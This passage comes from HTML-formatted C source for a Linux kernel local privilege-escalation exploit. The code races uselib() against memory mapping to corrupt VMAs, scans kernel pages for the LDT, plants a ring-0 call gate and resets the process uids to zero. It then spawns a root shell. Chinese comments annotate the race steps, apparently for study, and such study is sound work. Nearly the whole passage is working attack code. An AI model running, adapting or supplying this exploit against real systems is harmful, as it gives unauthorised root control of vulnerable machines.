&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(!go) sys_sched_yield();
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // 与exploitme主线程进行同步<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sys_gettimeofday(&amp;tm2,
NULL);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; delta = tmdiff(&amp;tm1,
&amp;tm2);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(!smp_max &amp;&amp; delta
&lt; (unsigned)delta_max) goto recheck;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; smp = smp_max;<br>
<br>
//&nbsp;&nbsp;&nbsp; check if lib VMAs exist as expected under race
condition<br>
recheck2:<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; val = sys_madvise((void*)
lib_addr, PAGE_SIZE, MADV_NORMAL);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(val)
continue;&nbsp;&nbsp;&nbsp; // 检查uselib()中需要的第一个vma是否已经使用<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; errno = 0;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; val = sys_madvise((void*)
(lib_addr+PAGE_SIZE),&nbsp;&nbsp;&nbsp; &nbsp;&nbsp; //
检查是否vma已经耗尽，<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; //
这样才能确认uselib()已经在第二个vma的分配调用处sleep<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; LIB_SIZE-PAGE_SIZE, MADV_NORMAL);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( !val || (val&lt;0
&amp;&amp; errno!=ENOMEM) ) continue;<br>
<br>
//&nbsp;&nbsp;&nbsp; SMP?<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; smp--;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(smp&gt;=0) goto
recheck2;<br>
<br>
//&nbsp;&nbsp;&nbsp; recheck race<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(!go)
continue;&nbsp;&nbsp;&nbsp; //
如果exploitme中uselib()已经返回，说明race失败，配合exploitme中的代码retry<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; finish++;<br>
<br>
//&nbsp;&nbsp;&nbsp; we need to free one vm_area_struct for mmap to
work&nbsp;&nbsp;&nbsp; // 到这离race成功还差关键一步，<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //
就是释放一个VMA，并在下面得到它，否则（被uselib获得）失败<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; val = sys_mprotect(map_addr,
PAGE_SIZE, map_flags);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(val) fatal("mprotect",
0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; val = sys_mmap2(lib_addr +
PAGE_SIZE, PAGE_SIZE*3, PROT_NONE, &nbsp;&nbsp;&nbsp; //
注意这里与exploitme中的sys_mremap的起始地址相差两个页面，<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; // 与makelib的虚拟地址即libaddr偏移一个页面<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,
0, 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(-1==val) fatal("mmap2
race", 0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; // 到这里race就完全成功了，最后一个sys_mmap2<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; // 会制造一个vma乱序<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\n[+] race won
maps=%d", map_count); fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _exit(0);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
return 0;<br>
}<br>
<br>
<br>
int callme_1()<br>
{<br>
&nbsp;&nbsp;&nbsp; return val++;<br>
}<br>
<br>
<br>
inline int valid_ptr(unsigned ptr)<br>
{<br>
&nbsp;&nbsp;&nbsp; return ptr&gt;=task_size &amp;&amp;
ptr&lt;addr_min-16;<br>
}<br>
<br>
<br>
inline int validate_vma(unsigned *p, unsigned s, unsigned e)<br>
{<br>
unsigned *t;<br>
<br>
&nbsp;&nbsp;&nbsp; if(valid_ptr(p[0]) &amp;&amp; valid_ptr(p[3])
&amp;&amp; p[1]==s &amp;&amp; p[2]==e) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; t=(unsigned*)p[3];<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( t[0]==p[0] &amp;&amp;
t[1]&lt;=task_size &amp;&amp; t[2]&lt;=task_size )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return
1;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; return 0;<br>
}<br>
<br>
<br>
asmlinkage void kernel_code(unsigned *task)<br>
{<br>
unsigned *addr = task;<br>
<br>
//&nbsp;&nbsp;&nbsp; find &amp; reset uids<br>
&nbsp;&nbsp;&nbsp; while(addr[0] != uid || addr[1] != uid ||<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; addr[2] != uid ||
addr[3] != uid)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr++;<br>
<br>
&nbsp;&nbsp;&nbsp; addr[0] = addr[0] = addr[2] = addr[3] = 0;<br>
&nbsp;&nbsp;&nbsp; addr[4] = addr[5] = addr[6] = addr[7] = 0;<br>
<br>
//&nbsp;&nbsp;&nbsp; find &amp; correct VMA<br>
&nbsp;&nbsp;&nbsp; for(addr=(unsigned *)task_size;
(unsigned)addr&lt;addr_min-16; addr++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( validate_vma(addr,
vma_start, vma_end) ) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr[1] =
task_size - PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr[2] =
task_size;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; }<br>
}<br>
<br>
<br>
void kcode(void);<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp;&nbsp; CPL0 code mostly stolen from cliph<br>
void __kcode(void)<br>
{<br>
asm(<br>
&nbsp;&nbsp;&nbsp; "kcode:&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; pusha&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;&nbsp;
%es&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp; $("
xstr(SEL_LDS) ") ,%edx&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
%edx,%es&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
\n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
%edx,%ds&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
\n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; movl&nbsp;&nbsp;&nbsp;
$0xffffe000,%eax&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; andl&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
\n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; pushl&nbsp;&nbsp;&nbsp;
%eax&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; call&nbsp;&nbsp;&nbsp;
kernel_code&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
\n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; addl&nbsp;&nbsp;&nbsp; $4,
%esp&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
\n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; popl&nbsp;&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; popl&nbsp;&nbsp;&nbsp;
%es&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; popa&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; "&nbsp;&nbsp;&nbsp; lret&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n"<br>
&nbsp;&nbsp;&nbsp; );<br>
}<br>
<br>
<br>
int callme_2()<br>
{<br>
&nbsp;&nbsp;&nbsp; return val + task_size + addr_min;<br>
}<br>
<br>
<br>
void sigfailed(int v)<br>
{<br>
&nbsp;&nbsp;&nbsp; ccnt++;<br>
&nbsp;&nbsp;&nbsp; fatal("lcall", 1);<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; modify LDT &amp; exec<br>
void try_to_exploit(unsigned addr)<br>
{<br>
volatile int r, *v;<br>
<br>
&nbsp;&nbsp;&nbsp; printf("\n[!] try to exploit 0x%.8x", addr);
fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; unlink(libname);<br>
<br>
&nbsp;&nbsp;&nbsp; r = sys_mprotect(addr, PAGE_SIZE,
PROT_READ|PROT_WRITE|map_flags);<br>
&nbsp;&nbsp;&nbsp; if(r) fatal("mprotect 1", 1);<br>
<br>
//&nbsp;&nbsp;&nbsp; check if really LDT<br>
&nbsp;&nbsp;&nbsp; v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE %
PAGE_SIZE) );<br>
&nbsp;&nbsp;&nbsp; signal(SIGSEGV, sigfailed);<br>
&nbsp;&nbsp;&nbsp; r = *v;<br>
&nbsp;&nbsp;&nbsp; if(r != MAGIC) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\n[-] FAILED val =
0x%.8x", r); fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fatal("find LDT", 1);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; yeah, setup CPL0 gate<br>
&nbsp;&nbsp;&nbsp; v[0] = ((unsigned)(SEL_LCS)&lt;&lt;16) |
((unsigned)kcode &amp; 0xffffU);<br>
&nbsp;&nbsp;&nbsp; v[1] = ((unsigned)kcode &amp; ~0xffffU) |
0xec00U;<br>
&nbsp;&nbsp;&nbsp; printf("\n[+] gate modified ( 0x%.8x 0x%.8x )",
v[0], v[1]); fflush(stdout);<br>
<br>
//&nbsp;&nbsp;&nbsp; setup CPL0 segment descriptors (we need the
'accessed' versions ;-)<br>
&nbsp;&nbsp;&nbsp; v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE %
PAGE_SIZE) );<br>
&nbsp;&nbsp;&nbsp; v[0] = 0x0000ffff; /* kernel 4GB code at
0x00000000 */<br>
&nbsp;&nbsp;&nbsp; v[1] = 0x00cf9b00;<br>
<br>
&nbsp;&nbsp;&nbsp; v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE %
PAGE_SIZE) );<br>
&nbsp;&nbsp;&nbsp; v[0] = 0x0000ffff; /* kernel 4GB data at
0x00000000 */<br>
&nbsp;&nbsp;&nbsp; v[1] = 0x00cf9300;<br>
<br>
//&nbsp;&nbsp;&nbsp; reprotect to get only one big VMA<br>
&nbsp;&nbsp;&nbsp; r = sys_mprotect(addr, PAGE_SIZE,
PROT_READ|map_flags);<br>
&nbsp;&nbsp;&nbsp; if(r) fatal("mprotect 2", 1);<br>
<br>
//&nbsp;&nbsp;&nbsp; CPL0 transition<br>
&nbsp;&nbsp;&nbsp; sys_sched_yield();<br>
&nbsp;&nbsp;&nbsp; val = callme_1() + callme_2();<br>
&nbsp;&nbsp;&nbsp; asm("lcall $" xstr(SEL_GATE) ",$0x0");<br>
&nbsp;&nbsp;&nbsp; if( getuid()==0 || (val==31337 &amp;&amp;
strlen(hellc0de)==31337) ) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\n[+] exploited,
uid=0\n\n" ); fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; } else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\n[-] uid change
failed" ); fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sigfailed(0);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; signal(SIGTERM, SIG_IGN);<br>
&nbsp;&nbsp;&nbsp; kill(0, SIGTERM);<br>
&nbsp;&nbsp;&nbsp; setresuid(0, 0, 0);<br>
&nbsp;&nbsp;&nbsp; execl(shellname, "sh", NULL);<br>
&nbsp;&nbsp;&nbsp; fatal("execl", 0);<br>
}<br>
<br>
<br>
void scan_mm_finish();<br>
void scan_mm_start();<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; kernel page table scan code<br>
void scan_mm()<br>
{<br>
&nbsp;&nbsp;&nbsp; map_addr -= PAGE_SIZE;<br>
&nbsp;&nbsp;&nbsp; if(map_addr &lt;= (unsigned)addr_min)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; scan_mm_start();<br>
<br>
&nbsp;&nbsp;&nbsp; scnt=0;<br>
&nbsp;&nbsp;&nbsp; val = *(int*)map_addr;<br>
&nbsp;&nbsp;&nbsp; scan_mm_finish();<br>
}<br>
<br>
<br>
void scan_mm_finish()<br>
{<br>
retry:<br>
&nbsp;&nbsp;&nbsp; __asm__("movl&nbsp;&nbsp;&nbsp; %0, %%esp" :
:"m"(old_esp) );<br>
<br>
&nbsp;&nbsp;&nbsp; if(scnt) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pagemap[pidx] ^= 1;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sys_madvise((void*)map_addr,
PAGE_SIZE, MADV_DONTNEED);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; pidx--;<br>
&nbsp;&nbsp;&nbsp; scan_mm();<br>
&nbsp;&nbsp;&nbsp; goto retry;<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; make kernel page maps before and after
allocating LDT<br>
void scan_mm_start()<br>
{<br>
static int npg=0;<br>
static struct modify_ldt_ldt_s l;<br>
<br>
&nbsp;&nbsp;&nbsp; pnum++;<br>
&nbsp;&nbsp;&nbsp; if(pnum==1) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pidx = max_page-1;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; else if(pnum==2) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memset(&amp;l, 0,
sizeof(l));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l.entry_number =
LDT_ENTRIES-1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l.seg_32bit = 1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l.base_addr = MAGIC &gt;&gt;
16;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l.limit = MAGIC &amp;
0xffff;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; l.limit_in_pages = 1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( modify_ldt(1, &amp;l,
sizeof(l)) != 0 )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
fatal("modify_ldt", 1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pidx = max_page-1;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; else if(pnum==3) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; npg=0;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(pidx=0;
pidx&lt;=max_page-1; pidx++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
if(pagemap[pidx]) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; npg++;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; else
if(npg == LDT_PAGES) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; npg=0;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } else
{<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; npg=0;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fatal("find LDT", 1);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; save context &amp; scan page table<br>
&nbsp;&nbsp;&nbsp; __asm__("movl&nbsp;&nbsp;&nbsp; %%esp, %0" :
:"m"(old_esp) );<br>
&nbsp;&nbsp;&nbsp; map_addr = addr_max;<br>
&nbsp;&nbsp;&nbsp; scan_mm();<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; return number of available SLAB objects in
cache<br>
int get_slab_objs(const char *sn)<br>
{<br>
static int c, d, u = 0, a = 0;<br>
FILE *fp=NULL;<br>
<br>
&nbsp;&nbsp;&nbsp; fp = fopen("/proc/slabinfo", "r");<br>
&nbsp;&nbsp;&nbsp; if(!fp)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fatal("get_slab_objs:
/proc/slabinfo not readable?", 0);<br>
&nbsp;&nbsp;&nbsp; fgets(name, sizeof(name) - 1, fp);<br>
&nbsp;&nbsp;&nbsp; do {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c = u = a = -1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (!fgets(line, sizeof(line)
- 1, fp))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c = sscanf(line, "%s %u %u %u
%u %u %u", name, &amp;u, &amp;a,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp; &amp;d, &amp;d, &amp;d, &amp;d);<br>
&nbsp;&nbsp;&nbsp; } while (strcmp(name, sn));<br>
&nbsp;&nbsp;&nbsp; close(fileno(fp));<br>
&nbsp;&nbsp;&nbsp; fclose(fp);<br>
&nbsp;&nbsp;&nbsp; return c == 7 ? a - u : -1;<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; leave one object in the SLAB<br>
inline void prepare_slab()<br>
{<br>
int *r;<br>
<br>
&nbsp;&nbsp;&nbsp; map_addr -= PAGE_SIZE;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; // 注意这个地址是相对于map_base反向增长的<br>
&nbsp;&nbsp;&nbsp; map_count++;<br>
&nbsp;&nbsp;&nbsp; map_flags ^= PROT_READ;<br>
<br>
&nbsp;&nbsp;&nbsp; r = (void*)sys_mmap2((unsigned)map_addr,
PAGE_SIZE, map_flags,<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp; MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
0);<br>
&nbsp;&nbsp;&nbsp; if(MAP_FAILED == r) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; fatal("try again (-f switch)
and again", 0);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; *r = map_addr;<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; sig handlers<br>
void segvcnt(int v)<br>
{<br>
&nbsp;&nbsp;&nbsp; scnt++;<br>
&nbsp;&nbsp;&nbsp; scan_mm_finish();<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; child reap<br>
void reaper(int v)<br>
{<br>
&nbsp;&nbsp;&nbsp; ccnt++;<br>
&nbsp;&nbsp;&nbsp; waitpid(0, &amp;v, WNOHANG|WUNTRACED);<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; sometimes I get the VMAs in reversed
order...<br>
//&nbsp;&nbsp;&nbsp; so just use anyone of the two but take care
about the flags<br>
void check_vma_flags();<br>
<br>
void vreversed(int v)<br>
{<br>
&nbsp;&nbsp;&nbsp; map_flags = 0;<br>
&nbsp;&nbsp;&nbsp; check_vma_flags();<br>
}<br>
<br>
<br>
void check_vma_flags()<br>
{<br>
&nbsp;&nbsp;&nbsp; if(map_flags) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
__asm__("movl&nbsp;&nbsp;&nbsp; %%esp, %0" : :"m"(old_esp) );<br>
&nbsp;&nbsp;&nbsp; } else {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
__asm__("movl&nbsp;&nbsp;&nbsp; %0, %%esp" : :"m"(old_esp) );<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto out;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; signal(SIGSEGV, vreversed);<br>
&nbsp;&nbsp;&nbsp; val = * (unsigned*)(lib_addr + PAGE_SIZE);<br>
out:<br>
&nbsp;&nbsp;&nbsp; return;<br>
}<br>
<br>
<br>
//&nbsp;&nbsp;&nbsp; use elf library and try to sleep on
kmalloc<br>
void exploitme()<br>
{<br>
int r, sz, pcnt=0;<br>
static char smiley[]="-\\|/-\\|/";<br>
<br>
//&nbsp;&nbsp;&nbsp; helper clone<br>
&nbsp;&nbsp;&nbsp; finish=0; ccnt=0;<br>
&nbsp;&nbsp;&nbsp; sz = sizeof(cstack) / sizeof(cstack[0]);<br>
&nbsp;&nbsp;&nbsp; cpid = clone(&amp;raceme, (void*)
&amp;cstack[sz-16],<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );<br>
&nbsp;&nbsp;&nbsp; if(-1==cpid) fatal("clone", 0);<br>
<br>
//&nbsp;&nbsp;&nbsp; synchronize threads<br>
&nbsp;&nbsp;&nbsp; while(!finish)
sys_sched_yield();&nbsp;&nbsp;&nbsp; // 与raceme线程同步<br>
&nbsp;&nbsp;&nbsp; finish=0;<br>
&nbsp;&nbsp;&nbsp; if(!silent) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("\n");
fflush(stdout);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
//&nbsp;&nbsp;&nbsp; try to hit the kmalloc race<br>
&nbsp;&nbsp;&nbsp; for(;;) {<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r =
get_slab_objs("vm_area_struct");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(r != 1) {
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; // 只留下一个vma<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
prepare_slab();<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r--;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; sys_gettimeofday(&amp;tm1,
NULL);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; go = 1; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //
raceme线程同步使用，通知其exploitme已经准备好。<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r=sys_uselib(libname);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; go = 0;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(r) fatal("uselib",
